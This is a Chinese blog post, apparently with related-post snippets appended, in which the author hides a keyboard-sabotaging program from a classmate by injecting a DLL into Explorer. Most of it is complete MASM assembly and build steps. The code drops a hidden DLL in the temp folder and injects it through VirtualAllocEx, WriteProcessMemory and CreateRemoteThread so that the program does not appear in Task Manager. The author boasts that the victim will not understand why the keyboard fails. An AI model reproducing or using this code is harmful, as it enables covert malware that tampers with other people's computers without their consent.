上次那個改變鍵盤布局的程式,被同學很容易的就在任務管理器裡找出來殺掉了,不爽!想個辦法把它藏起來。
先把原來的那個程式稍做修改,然後build成dll。即加乙個dllentry就行了。
dllentry proc hinst: hinstance, reason: dword, reserved1: dword
local @dwthreadid
.if reason == dll_process_attach
push hinst
pop inst
invoke createthread, null, 0, addr winmain, null, null, addr @dwthreadid
invoke closehandle, eax
.endif
mov eax, true
retdllentry endp
然後ml /c /coff /cp test.asm
link /dll /subsystem:windows test.obj
1000 rcdata hookx.dll
然後rc test.rc就得到了test.res,一會兒link的時候用。
下面就是寫主程式了。程式中首先找到資源,把它釋放到windows的temp資料夾下,並指定隱藏屬性(為了隱蔽嘛)。然後就是findwindow,找到資源管理器(找它是因為幾乎所有系統中都會開這個程序嘛),開啟,申請空間,寫入loadlibrarya的位址,createremotethread建立遠端執行緒就ok了。
這裡有一點要注意的就是,建立了遠端執行緒之後要讓該執行緒馬上返回,否則被注入的程式就會一直等待,這也就是為什麼我在dllentry中又用了乙個createthread的原因。
下面就是源程式了,就是連續呼叫一堆函式,也沒注釋,沒做返回值的檢查,崩潰了就不管嘍!
.386
.model flat, stdcall
option casemap: none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
includelib /masm32/lib/kernel32.lib
includelib /masm32/lib/user32.lib
rcid equ 1000
.const
szkerdll db 'kernel32.dll', 0
szhookxdll db 'hookx.dll', 0
szdesktopclass db 'progman', 0
szdesktopwindow db 'program manager', 0
szloadlib db 'loadlibrarya', 0
.data
szbuf db 256 dup(0)
sztemppath db 256 dup(0)
szfmt db '%s%s', 0
.data?
hinstance dd ?
hresinfo dd ?
hresdata dd ?
lpresdata dd ?
dwresdatalen dd ?
hhookxdll dd ?
dwwrote dd ?
dwprocessid dd ?
hprocess dd ?
lpcoderemote dd ?
.code
start:
invoke getmodulehandle, null
mov hinstance, eax
invoke findresource, hinstance, rcid, rt_rcdata
mov hresinfo, eax
invoke loadresource, hinstance, hresinfo
mov hresdata, eax
invoke lockresource, hresdata
mov lpresdata, eax
invoke sizeofresource, hinstance, hresinfo
mov dwresdatalen, eax
invoke gettemppath, sizeof sztemppath, offset sztemppath
invoke wsprintf, offset szbuf, offset szfmt, offset sztemppath, offset szhookxdll
invoke createfile, offset szbuf, generic_write, 0, null, create_always, file_attribute_normal or file_attribute_hidden, 0
mov hhookxdll, eax
invoke writefile, hhookxdll, lpresdata, dwresdatalen, offset dwwrote, null
invoke findwindow, offset szdesktopclass, offset szdesktopwindow
invoke getwindowthreadprocessid, eax, offset dwprocessid
invoke openprocess, process_all_access, false, dwprocessid
mov hprocess, eax
invoke virtualallocex, hprocess, 0, sizeof szbuf, mem_commit, page_execute_readwrite
mov lpcoderemote, eax
invoke writeprocessmemory, hprocess, lpcoderemote, offset szbuf, sizeof szbuf, null
invoke loadlibrary, offset szkerdll
invoke getprocaddress, eax, offset szloadlib
invoke createremotethread, hprocess, 0, 0, eax, lpcoderemote, 0, 0
invoke closehandle, eax
invoke closehandle, hprocess
invoke exitprocess, 0
end start
好了,編譯連線一下,這回再執行,按alt+ctrl+del看一下,哈哈,沒有任何跡象,成功!這回他該納悶了,我的鍵盤怎麼又不好使了??
用dll注入的方式隱藏程序
上次那個 改變鍵盤布局的程式,被同學很容易的就在任務管理器裡找出來殺掉了,不爽!想個辦法把它藏起來。先把原來的那個程式稍做修改,然後build成dll。即加乙個dllentry就行了。dllentry proc hinst hinstance,reason dword,reserved1 dword...
緝拿隱藏程序以及隱藏CPU利用率的程序
前面我介紹過很多隱藏程序的把戲,隨後我對每一種把戲有針對性的給出了反制措施,可以翻看我2020 03 2020 08的文章,太多了,不再一一枚舉。如今,我要介紹一種超級簡單的手段,手藝人必備。無論你是隱藏了程序,還是隱藏了程序的cpu利用率,只要它在cpu上執行,在下面的指令碼面前,任何隱藏手段終歸...
c 隱藏程序 Linux 檢視程序的動態資訊
top命令經常用來監控linux的系統狀況,是常用的效能分析工具,能夠實時顯示系統中各個程序的資源占用情況 一 描述 二 top命令常用字段含義 三 top中的子命令 四 總結 五 思維導圖 1 top命令 2 與ps命令的區別 1 前6行 2 pid,user,pr,ni 與ps命令中的字段含義相...